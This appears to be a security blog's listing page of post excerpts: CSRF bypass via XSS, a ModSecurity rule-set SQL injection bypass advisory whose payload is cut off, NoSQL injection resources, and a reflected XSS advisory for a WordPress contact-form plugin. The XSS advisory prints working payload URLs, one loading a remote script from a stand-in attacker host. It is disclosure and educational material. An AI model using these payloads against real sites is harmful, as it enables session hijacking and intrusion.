In this post I will show why anti-CSRF tokens are useless as soon as there is an XSS vulnerability in the target site. This post contains all the example scripts necessary to reproduce bypassing CSRF protection via XSS vulnerabilities. The code is meant for educational purposes only.
Basic Terms: CSRF and XSS
CSRF means Cross-Site Request Forgery. The idea is to get a user that is logged in at a website to perform actions on that site they do not actually want to perform. This can be achieved by getting the victim to visit a website (possibly – but not necessarily – owned by the attacker) that contains specially crafted HTML code created by the attacker. CSRF is possible with POST as well as GET requests (although as per REST, GET requests shouldn’t actually change data on the server).
Anti-CSRF token is the recommended way to prevent CSRF. A one time token is stored in the session as well as the form when creating it, and when the form is submitted, the submitted token is compared to the session token. If they match, there is no CSRF attack.
- Vulnerability: Bypass mod_security to perform SQL injection (login bypass)
- Affected Software: OWASP ModSecurity Core Rule Set
- Affected Version: 2.2.9 (probably also prior versions)
- Patched Version: 3.0.0
- Risk: Low
- Vendor Contacted: 2014-12-07 via mail, 2015-02-18 via github
- Vendor Fix: 2014-12-09 (in dev tree, independent of report)
- Public Disclosure: 2015-02-18 on github
Mod_Security & Core Rule Set
mod_security is an Intrusion Detection System / Web Application Firewall for Apache, IIS, and nginx developed by SpiderLabs. As a filter list it uses the OWASP ModSecurity Core Rule Set.
Using the Core ModSecurity Rule Set ver.2.2.9 with default
configuration, SecRuleEngine On, and all base_rules enabled, it is
possible to inject the following payload, which can be used to bypass filters in SQL queries:
With a growing code base, it is good to have tools which can automatically find weaknesses in it, be it duplicate code, bad patterns, possible bugs, bad formatting, or bad design. Here are some of the tools that can analyze Java Code.
A list of resources about NoSQL injection in general and PHP and MongoDB security specifically.
Intro: NoSQL Databases
NoSQL databases such as MongoDB are used more and more, but there isn’t a lot of information about the security of specific NoSQL databases or the security of NoSQL in general.
The direction it seems to be going is: It’s not SQL, so SQL injection is not possible, so it is secure. This is of course not true at all. The damage that can be achieved with NoSQL injections does seem to be smaller than that of SQL injection, but that does not mean that developers should not care about it.
- Vulnerability: Reflected XSS
- Affected Software: Contact Form DB (WordPress Plugin)
- Affected Version: 2.8.17 (probably also prior versions)
- Patched Version: 2.8.18
- Risk: Low
- Vendor Contacted: 2014-11-17
- Vendor Fix: 2014-11-19
- Public Disclosure: 2014-11-26
As single quotes are automatically escaped in WordPress, they cannot be used in the attack. It is still possible to inject a simple alert:
http://localhost/wordpress/wp-admin/admin.php?page=CF7DBPluginSubmissions&form_name=Contact+form+1&submit_time=1416134948.8682" type="hidden"><script>alert(String.fromCharCode(88,83,83))</script><input name="1416134948.8682
Exploiting the vulnerability
To get around the limitation of not using single quotes, an attacker can load a remotely hosted script:
http://localhost/wordpress/wp-admin/admin.php?page=CF7DBPluginSubmissions&form_name=Contact+form+1&submit_time=1416134948.8682" type="hidden"><script src=http://evil.attacker/myscript.js></script>